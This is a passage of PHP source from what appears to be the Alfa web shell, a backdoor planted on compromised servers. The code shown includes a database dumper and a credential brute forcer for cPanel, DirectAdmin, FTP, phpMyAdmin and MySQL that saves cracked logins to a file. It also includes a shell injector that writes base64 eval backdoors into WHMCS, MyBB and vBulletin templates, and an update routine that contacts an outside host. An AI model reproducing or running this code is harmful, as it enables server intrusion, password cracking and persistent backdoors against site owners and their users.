  1644. fwrite($fp, json_encode($data));
  1645. }
  1646. fclose($fp);
  1647. $tbls .= "Done ~~~> ".$file_name."<br>";
  1648. }
  1649. echo __pre();
  1650. echo "<center><font color='#00FF00'>".$tbls."</font></center>";
  1651. }
  1652. }
  1653. if(!empty($dbname) && count($selected_data) == 0){
  1654. //echo __pre();
  1655. if($db){
  1656. echo("<hr><div style='text-align:center;margin-bottom:5px;font-weight:bolder;'><span>[ Select your tables and columns for dumping data ]</span></div>");
  1657. echo("<div style='text-align:center;'><span>Output Type: </span><select id='dumper-delimiter-type' onchange='colDumplerSelectType(this);' name='output_type'><option value='delimiter' selected>delimiter</option><option value='json'>json</option></select><div id='coldumper-delimiter-input' style='display:inline;'><span> Delimiter: </span><input id='dumper-delimiter-input' style='text-align:center;' type='text' name='delimiter' placeholder='eg: ,'></div></div>");
  1658. $data = array();
  1659. $tables_query = mysqli_query($db, "SELECT table_name FROM information_schema.tables WHERE table_schema = database();");
  1660. while($row = mysqli_fetch_array($tables_query, MYSQLI_ASSOC)){
  1661. $data[$row["table_name"]] = array();
  1662. $table_count_q = mysqli_query($db, "SELECT count(*) FROM `".$row['table_name']."`");
  1663. $table_count = mysqli_fetch_row($table_count_q);
  1664. $data[$row["table_name"]]["data_count"] = $table_count[0];
  1665. $columns_query = mysqli_query($db, "SELECT column_name FROM information_schema.columns WHERE table_name = '".$row['table_name']."'");
  1666. while($row2 = mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){
  1667. $data[$row["table_name"]]["cols"][] = $row2["column_name"];
  1668. }
  1669. }
  1670. mysqli_close($db);
  1671.  
  1672. echo '<ul id="myUL">';
  1673. foreach($data as $tbl => $cols){
  1674. echo '<li><span style="color:#00FF00;" class="box">'.$tbl.' ('.$cols["data_count"].')</span><ul class="nested">';
  1675. foreach($cols["cols"] as $col){
  1676. echo '<li tbl="'.$tbl.'"><span style="color:#00FF00;" tbl="'.$tbl.'" class="box sub-box">' . $col . '</span></li>';
  1677. }
  1678. echo '</ul></li>';
  1679. }
  1680. echo '</ul>';
  1681. }else{
  1682. echo('<center>mysqli_connect : Error!</center>');
  1683. }
  1684. }
  1685. echo('</div>');
  1686. alfafooter();
  1687. }
  1688. function alfaDumper(){
  1689. alfahead();
  1690. echo('<div class="header">');
  1691. AlfaNum(8,9,10);
  1692. echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
  1693. $table = array('td1' =>
  1694. array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  1695. 'td2' =>
  1696. array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  1697. 'td3' =>
  1698. array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
  1699. 'td4' =>
  1700. array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  1701. 'td5' =>
  1702. array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']).'alfa.sql', 'inputSize' => '50')
  1703. );
  1704. create_table($table);
  1705. echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
  1706. $username = ($_POST['alfa3']);
  1707. $password = ($_POST['alfa4']);
  1708. $dbname = ($_POST['alfa5']);
  1709. $dfile = ($_POST['alfa6']);
  1710. $host = ($_POST['alfa7']);
  1711. if(!empty($dbname)){
  1712. echo __pre();
  1713. $msg = "<center>Check this : <font color='red'>".$dfile."</font></center>";
  1714. if(@mysqli_connect($host,$username,$password,$dbname)){
  1715. if(strlen(alfaEx("mysqldump"))>0){
  1716. alfaEx("mysqldump --single-transaction --host=\"$host\" --user=\"$username\" --password=\"$password\" $dbname > '".addslashes($dfile)."'");
  1717. echo($msg);
  1718. }else{
  1719. __alert("Error...!");
  1720. }
  1721. }else{
  1722. echo('<center>mysqli_connect : Error!</center>');
  1723. }
  1724. }
  1725. echo('</div>');
  1726. alfafooter();
  1727. }
  1728. function Alfa_DirectAdmin_Cracker($info){
  1729. if(!$info['mysql'])
  1730. $url = $info['protocol'].$info['target'].':'.$info['port'].'/CMD_LOGIN';
  1731. else $url = $info['protocol'].$info['target'].'/phpmyadmin';
  1732. $curl = curl_init();
  1733. curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
  1734. curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
  1735. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
  1736. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
  1737. curl_setopt($curl, CURLOPT_HEADER,0);
  1738. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1739. curl_setopt($curl, CURLOPT_URL,$url);
  1740. curl_setopt($curl, CURLOPT_USERPWD, $info['username'].':'.$info['password']);
  1741. if($info['mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
  1742. $result = @curl_exec($curl);
  1743. $curl_errno = curl_errno($curl);
  1744. $curl_error = curl_error($curl);
  1745. if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
  1746. elseif(preg_match('/CMD_FILE_MANAGER|frameset/i',$result)){
  1747. echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
  1748. $info['target'] = $url;
  1749. CrackerResualt($info);
  1750. }
  1751. curl_close($curl);
  1752. }
  1753. function Alfa_CP_Cracker($info){
  1754. $url = $info['protocol'].$info['target'].':'.$info['port'];
  1755. $curl = curl_init();
  1756. curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
  1757. curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
  1758. curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
  1759. curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
  1760. curl_setopt($curl, CURLOPT_HEADER,0);
  1761. curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
  1762. curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'].":".$info['password']) . "\n\r"));
  1763. curl_setopt($curl, CURLOPT_URL, $url);
  1764. $result = @curl_exec($curl);
  1765. $curl_errno = curl_errno($curl);
  1766. $curl_error = curl_error($curl);
  1767. if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
  1768. elseif(preg_match('/filemanager/i',$result)){
  1769. echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
  1770. $info['target'] = $url;
  1771. CrackerResualt($info);
  1772. }
  1773. curl_close($curl);
  1774. }
  1775. function Alfa_FTP_Cracker($info){
  1776. $url = $info['protocol'].$info['target'];
  1777. $curl = curl_init();
  1778. curl_setopt($curl, CURLOPT_URL, $url);
  1779. curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
  1780. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  1781. curl_setopt($curl, CURLOPT_USERPWD, "".$info['username'].":".$info['password']."");
  1782. $result = @curl_exec($curl);
  1783. $curl_errno = curl_errno($curl);
  1784. $curl_error = curl_error($curl);
  1785. if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
  1786. elseif(preg_match('/(\d+):(\d+)/i',$result)){
  1787. echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
  1788. $info['target'] = $url;
  1789. CrackerResualt($info);
  1790. }
  1791. curl_close($curl);
  1792. }
  1793. function Alfa_Mysql_Cracker($info){
  1794. if(@mysqli_connect($info['target'].':'.$info['port'],$info['username'],$info['password'])){
  1795. CrackerResualt($info);
  1796. echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
  1797. }
  1798. }
  1799. function Alfa_FTPC($info){
  1800. if($con=@ftp_connect($info['target'],$info['port'])){
  1801. if($con){
  1802. $login=@ftp_login($con,$info['username'],$info['password']);
  1803. if($login){CrackerResualt($info);}}}
  1804. @ftp_close($con);
  1805. }
  1806. function CrackerResualt($info){
  1807. $res = $info['target'].' => '.$info['username'].":".$info['password']."\n" ;
  1808. $c = @fopen($info['fcrack'],'a+');
  1809. @fwrite($c, $res);
  1810. @fclose($c);
  1811. }
  1812. function Alfa_Call_Function_Cracker($method,$info){
  1813. switch($method){case 'cp':return Alfa_CP_Cracker($info);break;case 'direct': case 'phpmyadmin':return Alfa_DirectAdmin_Cracker($info);break;case 'ftp':return Alfa_FTP_Cracker($info);break;case 'mysql':return Alfa_Mysql_Cracker($info);break;case 'mysql':return Alfa_FTPC($info);break;}
  1814. }
  1815. function alfaCrackers(){
  1816. alfahead();
  1817. AlfaNum(9,10);
  1818. echo '<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\'Crackers\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\'start\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">';
  1819. foreach(array('cp'=>'Cpanel','direct'=>'DirectAdmin','ftp'=>'FTP','phpmyadmin'=>'PhpMyAdmin[DirectAdmin]','mysql'=>'mysql_connect()','ftpc'=>'ftp_connect()') as $key=>$val)echo('<option value="'.$key.'">'.$val.'</option>');
  1820. echo '</select> Protocol: <select id="protocol" name="protocol">';
  1821. foreach(array('https://','http://','ftp://') as $val)echo('<option value="'.$val.'">'.$val.'</option>');
  1822. echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
  1823. Port: <input id="port" type="text" name="port" value="2083">
  1824. <table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
  1825. <textarea placeholder="Users" rows="20" cols="25" name="usernames">'.($GLOBALS['sys']=='unix'?alfaEx("cut -d: -f1 /etc/passwd"):"").'</textarea>
  1826. &nbsp <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>
  1827. Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
  1828. <p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
  1829. $target = str_replace(array('https://','http://','ftp://'),'',$_POST['alfa1']);
  1830. $port = $_POST['alfa2'];
  1831. $usernames= $_POST['alfa3'];
  1832. $passwords = $_POST['alfa4'];
  1833. $fcrack = $_POST['alfa5'];
  1834. $cracking = $_POST['alfa6'];
  1835. $protocol = $_POST['alfa7'];
  1836. $loginpanel = $_POST['alfa8'];
  1837. $p = $loginpanel == 'phpmyadmin' ? $p = true : false;
  1838. if($cracking=='start'){
  1839. echo __pre();
  1840. $exuser = explode("\n",$usernames);
  1841. $expw = explode("\n",$passwords);
  1842. foreach($exuser as $user){
  1843. foreach($expw as $pw){
  1844. $array = array('username' => trim($user),'password' => trim($pw),'port' => trim($port),'target' => trim($target),'protocol' => trim($protocol),'fcrack' => trim($fcrack),'mysql' => $p);
  1845. Alfa_Call_Function_Cracker($loginpanel,$array);
  1846. }
  1847. }
  1848. echo '<br><font color="red">Attack Finished...</font>';
  1849. }
  1850. echo '</div>';
  1851. alfafooter();
  1852. }
  1853. function output($string){ echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$string."'>Click Here !</a></font></b></center><br><br>";}
  1854. function alfaShellInjectors(){
  1855. alfahead();
  1856. echo '<div class=header>';
  1857. AlfaNum(11);
  1858. echo '<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,\'whmcs\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,\'mybb\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,null,\'vb\')">| vBulletin |</a></h3></center>';
  1859. $selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
  1860. if(isset($_POST['alfa1']) && $_POST['alfa1']== 'whmcs'){
  1861. AlfaNum();
  1862. echo __pre()."<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>".getConfigHtml('whmcs')."</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
  1863. $table = array('td1' =>
  1864. array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
  1865. 'td2' =>
  1866. array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
  1867. 'td3' =>
  1868. array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
  1869. 'td4' =>
  1870. array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
  1871. 'td5' =>
  1872. array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
  1873. );
  1874. create_table($table);
  1875. echo $selector;
  1876. echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
  1877. if(isset($_POST['alfa6'])) {
  1878. $dbu = $_POST['alfa6'];
  1879. $dbn = $_POST['alfa7'];
  1880. $dbp = $_POST['alfa8'];
  1881. $dbh = $_POST['alfa9'];
  1882. $path = $_POST['alfa10'];
  1883. $method = $_POST['alfa4'];
  1884. $index = "{php}".ALFA_UPLOADER.";{/php}";
  1885. $newin = str_replace("'","\'",$index);
  1886. $newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
  1887. if(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){
  1888. if(filter_var($path,FILTER_VALIDATE_URL)){
  1889. $conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());
  1890. $soleSave= mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
  1891. $soleGet = mysqli_fetch_assoc($soleSave);
  1892. $tempSave1 = $soleGet['message'];
  1893. $tempSave = str_replace("'","\'",$tempSave1);
  1894. mysqli_query($conn,"UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die (mysqli_error($conn));
  1895. $inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'";
  1896. $result = mysqli_query($conn,$inject) or die (mysqli_error($conn));
  1897. $create = "insert into tblclients (email) values('solevisible@fbi.gov')";
  1898. $result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));
  1899. if(function_exists('curl_version') && $method == 'auto'){
  1900. $AlfaSole = new AlfaCURL(true);
  1901. $saveurl = $AlfaSole->Send($path."/pwreset.php");
  1902. $getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
  1903. $AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
  1904. $backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
  1905. $Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
  1906. __alert("shell injectet...");
  1907. $ff= 'http://'.$path."/solevisible.php";
  1908. output($ff);}else{
  1909. echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='".$path."/pwreset.php' target='_blank'>".$path."/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color='#FFFFFF'>And Go To => </font><a href='".$path."/solevisible.php' target='_blank'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert('Path is not Valid...');}}}
  1910. }if(isset($_POST['alfa2']) && $_POST['alfa2']== 'mybb'){
  1911. AlfaNum(1,2,3,5);
  1912. echo __pre()."<p><div class='txtfont_header'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>
  1913. ";
  1914. $table = array('td1' =>
  1915. array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
  1916. 'td2' =>
  1917. array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'),
  1918. 'td3' =>
  1919. array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'),
  1920. 'td4' =>
  1921. array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'),
  1922. 'td5' =>
  1923. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50')
  1924. );
  1925. create_table($table);
  1926. echo $selector;
  1927. echo "<p><input type=submit value=' '></p></form></center></center>";
  1928. if(isset($_POST['alfa6'])) {
  1929. $dbu = $_POST['alfa6'];
  1930. $dbn = $_POST['alfa7'];
  1931. $dbp = $_POST['alfa8'];
  1932. $dbh = $_POST['alfa9'];
  1933. $prefix = $_POST['alfa10'];
  1934. $method = $_POST['alfa4'];
  1935. $shellCode = "{\${".ALFA_UPLOADER."}}";
  1936. $newinshell = str_replace("'","\'",$shellCode);
  1937. if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){
  1938. $conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
  1939. $inject = "select template from {$prefix}templates where title= 'calendar'";
  1940. $result = mysqli_query($conn, $inject) or die (mysqli_error($conn));
  1941. $GetTemp = mysqli_fetch_assoc($result);
  1942. $saveDate = $GetTemp['template'];
  1943. $repsave = str_replace($shellCode,"",$saveDate);
  1944. $repsave = str_replace("'","\'",$repsave);
  1945. $createShell = "update {$prefix}templates SET template= '".$newinshell.$repsave."' where title = 'calendar'";
  1946. $result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));
  1947. $geturl = "select value from {$prefix}settings where name= 'bburl'";
  1948. $findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));
  1949. $rowb = mysqli_fetch_assoc($findurl);
  1950. $furl = $rowb['value'];
  1951. $realurl = parse_url($furl,PHP_URL_HOST);
  1952. $realpath = parse_url($furl,PHP_URL_PATH);
  1953. $res = false;
  1954. $AlfaCurl = new AlfaCURL();
  1955. if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto' ){
  1956. if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
  1957. @fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\r\n");
  1958. @fputs($fsock, "HOST: $realurl\r\n");
  1959. @fputs($fsock, "Connection: close\r\n\r\n");
  1960. $check = fgets($fsock);
  1961. if(preg_match("/200 OK/i",$check)){
  1962. $repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'";
  1963. $clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}
  1964. @fclose($fsock);}}elseif(function_exists('curl_version') && $method == 'auto'){
  1965. $AlfaCurl->Send($realurl.$realpath."/calendar.php");
  1966. $res = true;
  1967. }
  1968. if($res){
  1969. $ff = 'http://'.$realurl.$realpath."/solevisible.php";
  1970. output($ff);
  1971. }else{
  1972. $ff = 'http://'.$realurl.$realpath."/calendar.php";
  1973. $fff = 'http://'.$realurl.$realpath."/solevisible.php";
  1974. echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color='#FFFFFF'>And Go To => </font><a href='".$fff."' target='_blank'>".$fff."</a></b></center><br><br>";
  1975. }}}}
  1976. if(isset($_POST['alfa3']) && $_POST['alfa3']== 'vb'){
  1977. AlfaNum(1,2,7,9,10);
  1978. echo __pre().'<p><div class="txtfont_header">| vbulletin |</div></p><p>'.getConfigHtml('vb').'</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
  1979. $table = array('td1' =>
  1980. array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
  1981. 'td2' =>
  1982. array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'),
  1983. 'td3' =>
  1984. array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'),
  1985. 'td4' =>
  1986. array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'),
  1987. 'td5' =>
  1988. array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50')
  1989. );
  1990. create_table($table);
  1991. echo $selector;
  1992. echo '<p><input type="submit" value=" " /></p></form></center>';
  1993. if(isset($_POST['alfa4'])&&!empty($_POST['alfa4'])){
  1994. $method = $_POST['alfa8'];
  1995. $faq_name = "faq";
  1996. $faq_file = "/faq.php";
  1997. $code = "{\${".ALFA_UPLOADER."}}{\${exit()}}&";
  1998. $conn=@mysqli_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5'],$_POST['alfa7']) or die(@mysqli_connect_error());
  1999. $rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
  2000. $recivedata = @mysqli_query($conn,$rec);
  2001. $getd = @mysqli_fetch_assoc($recivedata);
  2002. $savetoass = $getd['template'];
  2003. if(empty($savetoass)){
  2004. $faq_name = "header";
  2005. $faq_file = "/";
  2006. $rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
  2007. $recivedata = @mysqli_query($conn,$rec);
  2008. $getd = @mysqli_fetch_assoc($recivedata);
  2009. $savetoass = $getd['template'];
  2010. $code = ALFA_UPLOADER.";";
  2011. }
  2012. $code = str_replace("'","\'",$code);
  2013. $p = "UPDATE ".$_POST['alfa6']."template SET `template`='".$code."' WHERE `title`='".$faq_name."'";
  2014. $ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));
  2015. $geturl = @mysqli_query($conn,"select `value` from ".$_POST['alfa6']."setting WHERE `varname`='bburl'");
  2016. $getval = @mysqli_fetch_assoc($geturl);
  2017. $saveval = $getval['value'];
  2018. if($faq_name == "header"){
  2019. if(substr($saveval, -5, 5) == "/core"){
  2020. $saveval = substr($saveval, 0, -5);
  2021. }
  2022. }
  2023. $realurl = parse_url($saveval,PHP_URL_HOST);
  2024. $realpath = parse_url($saveval,PHP_URL_PATH);
  2025. $res = false;
  2026. $AlfaCurl = new AlfaCURL();
  2027. if(extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto'){
  2028. if($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
  2029. @fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\r\n");
  2030. @fputs($fsock, "HOST: $realurl\r\n");
  2031. @fputs($fsock, "Connection: close\r\n\r\n");
  2032. $check = fgets($fsock);
  2033. if(preg_match("/200 OK/i",$check)){
  2034. $p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
  2035. $ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
  2036. $res = true;
  2037. }
  2038. @fclose($fsock);
  2039. }
  2040. }elseif(function_exists('curl_version') && $method == 'auto'){
  2041. $AlfaCurl->Send($realurl.$realpath.$faq_file);
  2042. $p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
  2043. $ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
  2044. $res = true;
  2045. }
  2046. if($res){
  2047. $ff = 'http://'.$realurl.$realpath."/solevisible.php";
  2048. output($ff);
  2049. }else{
  2050. $ff = 'http://'.$realurl.$realpath.$faq_file;
  2051. $fff = 'http://'.$realurl.$realpath."/solevisible.php";
  2052. echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='".$fff."' target='_blank'>".$fff."</a></center></p>";}}}
  2053. echo '</div>';
  2054. alfafooter();
  2055. }
  2056. function alfacheckfiletype(){
  2057. $path = $_POST['path'];
  2058. $arg = $_POST['arg'];
  2059. if(@is_file($path.'/'.$arg)){
  2060. echo("file");
  2061. }else{
  2062. echo("dir");
  2063. }
  2064. }
  2065. function alfacheckupdate(){
  2066. if($GLOBALS["DB_NAME"]["cgi_api"]){
  2067. if(!isset($_COOKIE["alfacgiapi_mode"])&&!isset($_COOKIE["alfacgiapi"])){
  2068. _alfa_cgicmd("whoami","perl",true);
  2069. if(strlen(alfaEx("whoami",false,true))>0){
  2070. __alfa_set_cookie("alfa_canruncmd", "true");
  2071. }
  2072. }
  2073. }
  2074. if(function_exists("curl_version")){
  2075. $update = new AlfaCURL();
  2076. $json = $update->Send("http://solevisible.com/update.json?ver=".__ALFA_VERSION__);
  2077. $json = @json_decode($json,true);
  2078. $data = array();
  2079. if($json){
  2080. if(!isset($_COOKIE['alfa_checkupdate']) && !empty($json["type"])){
  2081. if($json["type"] == "update"){
  2082. if(__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']){
  2083. @setcookie("alfa_checkupdate", "1", time()+86400);
  2084. $data["content"] = '<div class="update-holder">'.$json["content"].'</div>';
  2085. }
  2086. }
  2087. }
  2088. if(isset($json["ads"]) && !empty($json["ads"])){
  2089. $data["content"] .= $json["ads"];
  2090. }
  2091. if(isset($json["copyright"]) && !empty($json["copyright"])){
  2092. $data["copyright"] = $json["copyright"];
  2093. }
  2094. if(isset($json["solevisible"]) && !empty($json["solevisible"])){
  2095. $data["solevisible"] = $json["solevisible"];
  2096. }
  2097. if(isset($json["code_name"]) && !empty($json["code_name"])){
  2098. $data["code_name"] = $json["code_name"];
  2099. $data["version_number"] = __ALFA_VERSION__;
  2100. }
  2101. if(isset($json["market"]) && !empty($json["market"])){
  2102. $data["market"] = $json["market"];
  2103. }
  2104. echo @json_encode($data);
  2105. }
  2106. }
  2107. }
  2108. function alfaWriteTocgiapi($name, $source){
  2109. $temp = "";
  2110. $not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
  2111. if(in_array($name, $not_api)){
  2112. $temp = ALFA_TEMPDIR;
  2113. if($temp){
  2114. @chdir($temp);
  2115. }
  2116. }else{
  2117. alfaCreateParentFolder();
  2118. @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
  2119. }
  2120. @mkdir('alfacgiapi',0755);
  2121. __write_file("alfacgiapi/".$name, __get_resource($source));
  2122. @chmod("alfacgiapi/".$name, 0755);
  2123. return $temp;
  2124. }
  2125. function alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}
  2126. function alfaupdateheader(){
  2127. if(!isset($_COOKIE["updateheader_data"])){
